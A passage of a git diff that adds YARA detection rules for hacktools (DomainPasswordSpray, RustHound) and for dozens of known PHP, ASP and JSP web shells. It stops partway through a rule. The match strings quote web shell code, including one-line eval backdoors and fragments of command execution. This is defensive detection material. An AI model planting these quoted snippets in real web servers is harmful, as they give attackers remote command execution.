+      description = "Detects the Powershell password spray tool DomainPasswordSpray"
+      author = "Arnim Rupp"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      reference = "https://github.com/dafthack/DomainPasswordSpray"
+      date = "2023-01-13"
+      score = 60
+      hash1 = "44d4c0ae5673d2a076f3b5acdc83063aca49d58e6dd7cf73d0b927f83d359247"
+      id = "890e4514-2846-54f8-8f32-cc9d2a4ef81b"
+   strings:
+      $s = "Invoke-DomainPasswordSpray" fullword ascii wide
+   condition:
+      filesize < 100KB and
+      all of them
+}
+
+rule HKTL_RustHound {
+   meta:
+        description = "Detect hacktool RustHound (Sharphound clone)"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        date = "2023-03-30"
+        reference = "https://github.com/OPENCYBER-FR/RustHound"
+        hash = "409f61a34d9771643246f401a9670f6f7dcced9df50cbd89a2e1a5c9ba8d03ab"
+        hash = "b1a58a9c94b1df97a243e6c3fc2d04ffd92bc802edc7d8e738573b394be331a9"
+        hash = "170f4a48911f3ebef674aade05184ea0a6b1f6b089bcffd658e95b9905423365"
+        hash = "e52f6496b863b08296bf602e92a090768e86abf498183aa5b6531a3a2d9c0bdb"
+        hash = "847e57a35df29d40858c248e5b278b09cfa89dd4201cb24262c6158395e2e585"
+        hash = "4edfed92b54d32a58b2cfc926f98a56637e89850410706abcc469a8bc846bc85"
+        hash = "feba0c16830ea0a13819a9ab8a221cc64d5a9b3cc73f3c66c405a171a2069cc1"
+        hash = "21d37c2393a6f748fe34c9d2f52693cb081b63c3a02ca0bebe4a584076f5886c"
+        hash = "874a1a186eb5808d456ce86295cd5f09d6c819375acb100573c2103608af0d84"
+        hash = "bf576bd229393010b2bb4ba17e49604109e294ca38cf19647fc7d9c325f7bcd1"
+        id = "d2fd79a5-9a1a-51de-920c-61653c8b0064"
+   strings:
+        $rh1 = "rusthound" fullword ascii wide
+        $rh2 = "Making json/zip files finished!" ascii wide
+   condition:
+        (
+            // PE or elf
+            uint16(0) == 0x5A4D or
+            uint16(0) == 0x457f
+        ) and
+        1 of ( $rh* )
+}
+
diff --git a/yara-Neo23x0/thor-webshells.yar b/yara-Neo23x0/thor-webshells.yar
new file mode 100644
index 0000000..7945201
--- /dev/null
+++ b/yara-Neo23x0/thor-webshells.yar
@@ -0,0 +1,9937 @@
+/*
+
+   THOR APT Scanner - Web Shells Extract
+   This rulset is a subset of all hack tool rules included in our
+   APT Scanner THOR - the full featured APT scanner
+
+   Florian Roth
+   Nextron Systems GmbH
+
+   revision: 20160115
+
+*/
+
+rule Weevely_Webshell {
+	meta:
+		description = "Weevely Webshell - Generic Rule - heavily scrambled tiny web shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.ehacking.net/2014/12/weevely-php-stealth-web-backdoor-kali.html"
+		date = "2014/12/14"
+		score = 60
+		id = "12aa177a-4ebc-5ed8-a81b-34ec83395ec4"
+	strings:
+		$s0 = /\$[a-z]{4} = \$[a-z]{4}\("[a-z][a-z]?",[\s]?"",[\s]?"/ ascii
+		$s1 = /\$[a-z]{4} = str_replace\("[a-z][a-z]?","","/ ascii
+		$s2 = /\$[a-z]{4}\.\$[a-z]{4}\.\$[a-z]{4}\.\$[a-z]{4}\)\)\); \$[a-z]{4}\(\);/ ascii
+		$s4 = /\$[a-z]{4}="[a-zA-Z0-9]{70}/ ascii
+	condition:
+		uint32(0) == 0x68703f3c and all of ($s*) and filesize > 570 and filesize < 800
+}
+
+rule webshell_h4ntu_shell_powered_by_tsoi_ {
+	meta:
+		description = "Web Shell - file h4ntu shell powered by tsoi.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "06ed0b2398f8096f1bebf092d0526137"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "  <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>Server Adress:</b"
+		$s3 = "  <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b>User Info:</b> ui"
+		$s4 = "    <TD><DIV STYLE=\"font-family: verdana; font-size: 10px;\"><?= $info ?>: <?= "
+		$s5 = "<INPUT TYPE=\"text\" NAME=\"cmd\" value=\"<?php echo stripslashes(htmlentities($"
+	condition:
+		all of them
+}
+rule webshell_PHP_sql {
+	meta:
+		description = "Web Shell - file sql.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "2cf20a207695bbc2311a998d1d795c35"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "$result=mysql_list_tables($db) or die (\"$h_error<b>\".mysql_error().\"</b>$f_"
+		$s4 = "print \"<a href=\\\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&"
+	condition:
+		all of them
+}
+rule webshell_PHP_a {
+	meta:
+		description = "Web Shell - file a.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "e3b461f7464d81f5022419d87315a90d"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "echo \"<option value=\\\"\". strrev(substr(strstr(strrev($work_dir), \"/\""
+		$s2 = "echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>"
+		$s4 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p> " fullword
+	condition:
+		2 of them
+}
+rule webshell_iMHaPFtp_2 {
+	meta:
+		description = "Web Shell - file iMHaPFtp.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "12911b73bc6a5d313b494102abcf5c57"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s8 = "if ($l) echo '<a href=\"' . $self . '?action=permission&amp;file=' . urlencode($"
+		$s9 = "return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAA"
+	condition:
+		1 of them
+}
+rule webshell_Jspspyweb {
+	meta:
+		description = "Web Shell - file Jspspyweb.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "4e9be07e95fff820a9299f3fb4ace059"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "      out.print(\"<tr><td width='60%'>\"+strCut(convertPath(list[i].getPath()),7"
+		$s3 = "  \"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control"
+	condition:
+		all of them
+}
+rule webshell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2 {
+	meta:
+		description = "Web Shell - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "49ad9117c96419c35987aaa7e2230f63"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "die(\"\\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\\n"
+		$s1 = "Mode Shell v1.0</font></span></a></font><font face=\"Webdings\" size=\"6\" color"
+	condition:
+		1 of them
+}
+rule webshell_SimAttacker_Vrsion_1_0_0_priv8_4_My_friend {
+	meta:
+		description = "Web Shell - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "089ff24d978aeff2b4b2869f0c7d38a3"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "echo \"<a href='?id=fm&fchmod=$dir$file'><span style='text-decoration: none'><fo"
+		$s3 = "fputs ($fp ,\"\\n*********************************************\\nWelcome T0 Sim"
+	condition:
+		1 of them
+}
+rule webshell_phpshell_2_1_pwhash {
+	meta:
+		description = "Web Shell - file pwhash.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "ba120abac165a5a30044428fac1970d8"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "<tt>&nbsp;</tt>\" (space), \"<tt>[</tt>\" (left bracket), \"<tt>|</tt>\" (pi"
+		$s3 = "word: \"<tt>null</tt>\", \"<tt>yes</tt>\", \"<tt>no</tt>\", \"<tt>true</tt>\","
+	condition:
+		1 of them
+}
+rule webshell_PHPRemoteView {
+	meta:
+		description = "Web Shell - file PHPRemoteView.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "29420106d9a81553ef0d1ca72b9934d9"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "<input type=submit value='\".mm(\"Delete all dir/files recursive\").\" (rm -fr)'"
+		$s4 = "<a href='$self?c=delete&c2=$c2&confirm=delete&d=\".urlencode($d).\"&f=\".u"
+	condition:
+		1 of them
+}
+rule webshell_jsp_12302 {
+	meta:
+		description = "Web Shell - file 12302.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "a3930518ea57d899457a62f372205f7f"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "</font><%out.print(request.getRealPath(request.getServletPath())); %>" fullword
+		$s1 = "<%@page import=\"java.io.*,java.util.*,java.net.*\"%>" fullword
+		$s4 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
+	condition:
+		all of them
+}
+rule webshell_caidao_shell_guo {
+	meta:
+		description = "Web Shell - file guo.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "9e69a8f499c660ee0b4796af14dc08f0"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<?php ($www= $_POST['ice'])!"
+		$s1 = "@preg_replace('/ad/e','@'.str_rot13('riny').'($ww"
+	condition:
+		1 of them
+}
+rule webshell_PHP_redcod {
+	meta:
+		description = "Web Shell - file redcod.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "5c1c8120d82f46ff9d813fbe3354bac5"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "H8p0bGFOEy7eAly4h4E4o88LTSVHoAglJ2KLQhUw" fullword
+		$s1 = "HKP7dVyCf8cgnWFy8ocjrP5ffzkn9ODroM0/raHm" fullword
+	condition:
+		all of them
+}
+rule webshell_remview_fix {
+	meta:
+		description = "Web Shell - file remview_fix.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "a24b7c492f5f00e2a19b0fa2eb9c3697"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "<a href='$self?c=delete&c2=$c2&confirm=delete&d=\".urlencode($d).\"&f=\".u"
+		$s5 = "echo \"<P><hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n"
+	condition:
+		1 of them
+}
+rule webshell_asp_cmd {
+	meta:
+		description = "Web Shell - file cmd.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "895ca846858c315a3ff8daa7c55b3119"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+		$s1 = "Set oFileSys = Server.CreateObject(\"Scripting.FileSystemObject\")" fullword
+		$s3 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
+	condition:
+		1 of them
+}
+rule webshell_php_sh_server {
+	meta:
+		description = "Web Shell - file server.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 50
+		hash = "d87b019e74064aa90e2bb143e5e16cfa"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "eval(getenv('HTTP_CODE'));" fullword
+	condition:
+		all of them
+}
+rule webshell_PH_Vayv_PH_Vayv {
+	meta:
+		description = "Web Shell - file PH Vayv.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "35fb37f3c806718545d97c6559abd262"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "style=\"BACKGROUND-COLOR: #eae9e9; BORDER-BOTTOM: #000000 1px in"
+		$s4 = "<font color=\"#858585\">SHOPEN</font></a></font><font face=\"Verdana\" style"
+	condition:
+		1 of them
+}
+rule webshell_caidao_shell_ice {
+	meta:
+		description = "Web Shell - file ice.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "6560b436d3d3bb75e2ef3f032151d139"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<%eval request(\"ice\")%>" fullword
+	condition:
+		all of them
+}
+rule webshell_cihshell_fix {
+	meta:
+		description = "Web Shell - file cihshell_fix.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "3823ac218032549b86ee7c26f10c4cb5"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s7 = "<tr style='background:#242424;' ><td style='padding:10px;'><form action='' encty"
+		$s8 = "if (isset($_POST['mysqlw_host'])){$dbhost = $_POST['mysqlw_host'];} else {$dbhos"
+	condition:
+		1 of them
+}
+rule webshell_asp_shell {
+	meta:
+		description = "Web Shell - file shell.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "e63f5a96570e1faf4c7b8ca6df750237"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s7 = "<input type=\"submit\" name=\"Send\" value=\"GO!\">" fullword
+		$s8 = "<TEXTAREA NAME=\"1988\" ROWS=\"18\" COLS=\"78\"></TEXTAREA>" fullword
+	condition:
+		all of them
+}
+rule webshell_Private_i3lue {
+	meta:
+		description = "Web Shell - file Private-i3lue.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "13f5c7a035ecce5f9f380967cf9d4e92"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s8 = "case 15: $image .= \"\\21\\0\\"
+	condition:
+		all of them
+}
+rule webshell_php_up {
+	meta:
+		description = "Web Shell - file up.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "7edefb8bd0876c41906f4b39b52cd0ef"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['remotefile']);" fullword
+		$s3 = "if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) {" fullword
+		$s8 = "echo \"Uploaded file: \" . $HTTP_POST_FILES['userfile']['name'];" fullword
+	condition:
+		2 of them
+}
+rule webshell_Mysql_interface_v1_0 {
+	meta:
+		description = "Web Shell - file Mysql interface v1.0.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "a12fc0a3d31e2f89727b9678148cd487"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "echo \"<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\\\"return"
+	condition:
+		all of them
+}
+rule webshell_php_s_u {
+	meta:
+		description = "Web Shell - file s-u.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "efc7ba1a4023bcf40f5e912f1dd85b5a"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s6 = "<a href=\"?act=do\"><font color=\"red\">Go Execute</font></a></b><br /><textarea"
+	condition:
+		all of them
+}
+rule webshell_phpshell_2_1_config {
+	meta:
+		description = "Web Shell - file config.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "bd83144a649c5cc21ac41b505a36a8f3"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "; (choose good passwords!).  Add uses as simple 'username = \"password\"' lines." fullword
+	condition:
+		all of them
+}
+rule webshell_asp_EFSO_2 {
+	meta:
+		description = "Web Shell - file EFSO_2.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "a341270f9ebd01320a7490c12cb2e64c"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "%8@#@&P~,P,PP,MV~4BP^~,NS~m~PXc3,_PWbSPU W~~[u3Fffs~/%@#@&~~,PP~~,M!PmS,4S,mBPNB"
+	condition:
+		all of them
+}
+rule webshell_jsp_up {
+	meta:
+		description = "Web Shell - file up.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "515a5dd86fe48f673b72422cccf5a585"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s9 = "// BUG: Corta el fichero si es mayor de 640Ks" fullword
+	condition:
+		all of them
+}
+rule webshell_NetworkFileManagerPHP {
+	meta:
+		description = "Web Shell - file NetworkFileManagerPHP.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "acdbba993a5a4186fd864c5e4ea0ba4f"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s9 = "  echo \"<br><center>All the data in these tables:<br> \".$tblsv.\" were putted "
+	condition:
+		all of them
+}
+rule webshell_Server_Variables {
+	meta:
+		description = "Web Shell - file Server Variables.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "47fb8a647e441488b30f92b4d39003d7"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s7 = "<% For Each Vars In Request.ServerVariables %>" fullword
+		$s9 = "Variable Name</B></font></p>" fullword
+	condition:
+		all of them
+}
+rule webshell_caidao_shell_ice_2 {
+	meta:
+		description = "Web Shell - file ice.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "1d6335247f58e0a5b03e17977888f5f2"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<?php ${${eval($_POST[ice])}};?>" fullword
+	condition:
+		all of them
+}
+rule webshell_caidao_shell_mdb {
+	meta:
+		description = "Web Shell - file mdb.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "fbf3847acef4844f3a0d04230f6b9ff9"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "<% execute request(\"ice\")%>a " fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_guige {
+	meta:
+		description = "Web Shell - file guige.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "2c9f2dafa06332957127e2c713aacdd2"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "if(damapath!=null &&!damapath.equals(\"\")&&content!=null"
+	condition:
+		all of them
+}
+rule webshell_phpspy2010 {
+	meta:
+		description = "Web Shell - file phpspy2010.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "14ae0e4f5349924a5047fed9f3b105c5"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "eval(gzinflate(base64_decode("
+		$s5 = "//angel" fullword
+		$s8 = "$admin['cookiedomain'] = '';" fullword
+	condition:
+		all of them
+}
+rule webshell_asp_ice {
+	meta:
+		description = "Web Shell - file ice.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "d141e011a92f48da72728c35f1934a2b"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "D,'PrjknD,J~[,EdnMP[,-4;DS6@#@&VKobx2ldd,'~JhC"
+	condition:
+		all of them
+}
+rule webshell_drag_system {
+	meta:
+		description = "Web Shell - file system.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "15ae237cf395fb24cf12bff141fb3f7c"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s9 = "String sql = \"SELECT * FROM DBA_TABLES WHERE TABLE_NAME not like '%$%' and num_"
+	condition:
+		all of them
+}
+rule webshell_DarkBlade1_3_asp_indexx {
+	meta:
+		description = "Web Shell - file indexx.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "b7f46693648f534c2ca78e3f21685707"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "Const strs_toTransform=\"command|Radmin|NTAuThenabled|FilterIp|IISSample|PageCou"
+	condition:
+		all of them
+}
+rule webshell_phpshell3 {
+	meta:
+		description = "Web Shell - file phpshell3.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "76117b2ee4a7ac06832d50b2d04070b8"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "<input name=\"nounce\" type=\"hidden\" value=\"<?php echo $_SESSION['nounce'];"
+		$s5 = "<p>Username: <input name=\"username\" type=\"text\" value=\"<?php echo $userna"
+		$s7 = "$_SESSION['output'] .= \"cd: could not change to: $new_dir\\n\";" fullword
+	condition:
+		2 of them
+}
+rule webshell_jsp_hsxa {
+	meta:
+		description = "Web Shell - file hsxa.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "d0e05f9c9b8e0b3fa11f57d9ab800380"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<%@ page language=\"java\" pageEncoding=\"gbk\"%><jsp:directive.page import=\"ja"
+	condition:
+		all of them
+}
+rule webshell_jsp_utils {
+	meta:
+		description = "Web Shell - file utils.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "9827ba2e8329075358b8e8a53e20d545"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "ResultSet r = c.getMetaData().getTables(null, null, \"%\", t);" fullword
+		$s4 = "String cs = request.getParameter(\"z0\")==null?\"gbk\": request.getParameter(\"z"
+	condition:
+		all of them
+}
+rule webshell_asp_01 {
+	meta:
+		description = "Web Shell - file 01.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 50
+		hash = "61a687b0bea0ef97224c7bd2df118b87"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<%eval request(\"pass\")%>" fullword
+	condition:
+		all of them
+}
+rule webshell_asp_404 {
+	meta:
+		description = "Web Shell - file 404.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "d9fa1e8513dbf59fa5d130f389032a2d"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "lFyw6pd^DKV^4CDRWmmnO1GVKDl:y& f+2"
+	condition:
+		all of them
+}
+rule webshell_webshell_cnseay02_1 {
+	meta:
+		description = "Web Shell - file webshell-cnseay02-1.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "95fc76081a42c4f26912826cb1bd24b1"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU"
+	condition:
+		all of them
+}
+rule webshell_php_fbi {
+	meta:
+		description = "Web Shell - file fbi.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "1fb32f8e58c8deb168c06297a04a21f1"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s7 = "erde types','Getallen','Datum en tijd','Tekst','Binaire gegevens','Netwerk','Geo"
+	condition:
+		all of them
+}
+rule webshell_B374kPHP_B374k {
+	meta:
+		description = "Web Shell - file B374k.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "bed7388976f8f1d90422e8795dff1ea6"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "Http://code.google.com/p/b374k-shell" fullword
+		$s1 = "$_=str_rot13('tm'.'vas'.'yngr');$_=str_rot13(strrev('rqb'.'prq'.'_'.'46r'.'fno'"
+		$s3 = "Jayalah Indonesiaku & Lyke @ 2013" fullword
+		$s4 = "B374k Vip In Beautify Just For Self" fullword
+	condition:
+		1 of them
+}
+rule webshell_cmd_asp_5_1 {
+	meta:
+		description = "Web Shell - file cmd-asp-5.1.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		hash = "8baa99666bf3734cbdfdd10088e0cd9f"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
